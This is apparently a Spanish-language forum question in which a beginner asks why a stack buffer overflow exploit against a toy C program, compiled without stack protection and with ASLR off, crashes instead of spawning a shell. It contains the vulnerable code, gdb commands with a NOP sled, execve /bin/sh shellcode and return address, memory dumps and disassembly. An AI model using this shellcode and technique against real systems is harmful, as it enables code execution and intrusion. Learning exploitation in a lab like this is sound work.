Tengo un ejemplo básico de un programa vulnerable al desbordamiento de búfer ( extraído de esta otra pregunta ).
#include <string.h>
void vuln(char *arg) {
char buffer[500];
strcpy(buffer, arg);
}
int main( int argc, char** argv ) {
vuln(argv[1]);
return 0;
}
Explicaré mi "flujo de pensamiento":
Mi primer enfoque, dado que conozco la longitud del búfer, fue llenarlo completamente con "NOP" (477 bytes) + shellcode (23 bytes) + NOP + Dirección de retorno, siendo la dirección de retorno el principio de mi búfer.
gdb-peda$ r $(python -c "print '\x90'*477+'\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80'+'\x90'*12+'\xfc\xce\xff\xff'")
Aquí está la memoria actual:
0xffffcef8: 0x00 0x00 0x00 0x00 0x90 0x90 0x90 0x90
0xffffcf00: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xffffcf08: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xffffcf10: 0x90 0x90 0x90 0x90 0x00 0x90 0x90 0x90
0xffffcf18: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
...
0xffffd0d0: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xffffd0d8: 0x00 0x31 0xc0 0x50 0x68 0x2f 0x2f 0x73
0xffffd0e0: 0x68 0x68 0x2f 0x62 0x69 0x6e 0x89 0xe3
0xffffd0e8: 0x50 0x53 0x89 0xe1 0xb0 0x0b 0xcd 0x80
0xffffd0f0: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xffffd0f8: 0x90 0x90 0x90 0x90 0xfc 0xce 0xff 0xff
1) Los últimos 4 bytes son la dirección que se escribirá en EIP, no hay problema con esto.
2) Para que mi Shellcode funcione correctamente, debería comenzar al principio de una PALABRA. En 0xffffd0d8 hay un 0x00 inamovible que no se sobrescribe con el desbordamiento del búfer. Ocurre varias veces en el búfer, y por lo que he leído se debe a un comportamiento de bucle en la memoria.
3) En esta situación, creo que necesito encontrar otro espacio para escribir mi Shellcode, sin que "0x00" lo aplaste.
Parece que hay espacio para el código de shell al principio del búfer (0xffffcefc), así que cambio el búfer
gdb-peda$ r $(python -c "print '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80'+'\x90'*477+'\x90'*12+'\xfc\xce\xff\xff'")
y me aseguro de que el shellcode esté correctamente escrito en la memoria:
gdb-peda$ x/10i 0xffffcefc
=> 0xffffcefc: add al,al
0xffffcefe: push eax
0xffffceff: push 0x68732f2f
0xffffcf04: push 0x6e69622f
0xffffcf09: mov ebx,esp
0xffffcf0b: push eax
0xffffcf0c: push ebx
0xffffcf0d: mov ecx,esp
0xffffcf0f: mov al,0xb
0xffffcf11: int 0x80
gdb-peda$
Pero cuando ejecuto el código, incluso si se ejecutan los comandos de shellcode, se bloquea en el siguiente byte "0x00" en 0xffffcf14, y no se genera ninguna shell.
gdb-peda$ continue
Continuing.
Program received signal SIGSEGV, Segmentation fault.
Stopped reason: SIGSEGV
0xffffcf14 in ?? ()
gdb-peda$ x/10i 0xffffcf11
0xffffcf11: int 0x80
0xffffcf13: nop
=> 0xffffcf14: add BYTE PTR [eax-0x6f6f6f70],dl
0xffffcf1a: nop
0xffffcf1b: nop
0xffffcf1c: nop
0xffffcf1d: nop
0xffffcf1e: nop
0xffffcf1f: nop
0xffffcf20: nop
gdb-peda$ x/10xb 0xffffcf14
0xffffcf14: 0x00 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xffffcf1c: 0x90 0x90
gdb-peda$
El código se ha compilado mediante:
gcc -m32 -z execstack strcpy_ex.c -fno-stack-protector -o strcpy
y, por supuesto, ASLR está deshabilitado.
Información adicional:
# uname -a
Linux kali 4.9.0-kali4-amd64 #1 SMP Debian 4.9.30-2kali1 (2017-06-22) x86_64 GNU/Linux
Soy un novato en explotación, pero pensé que esto era un ejercicio simple y me está dando algunos dolores de cabeza ... ¿Alguien puede ayudarme a descubrir la manera correcta de explotar este desbordamiento de búfer?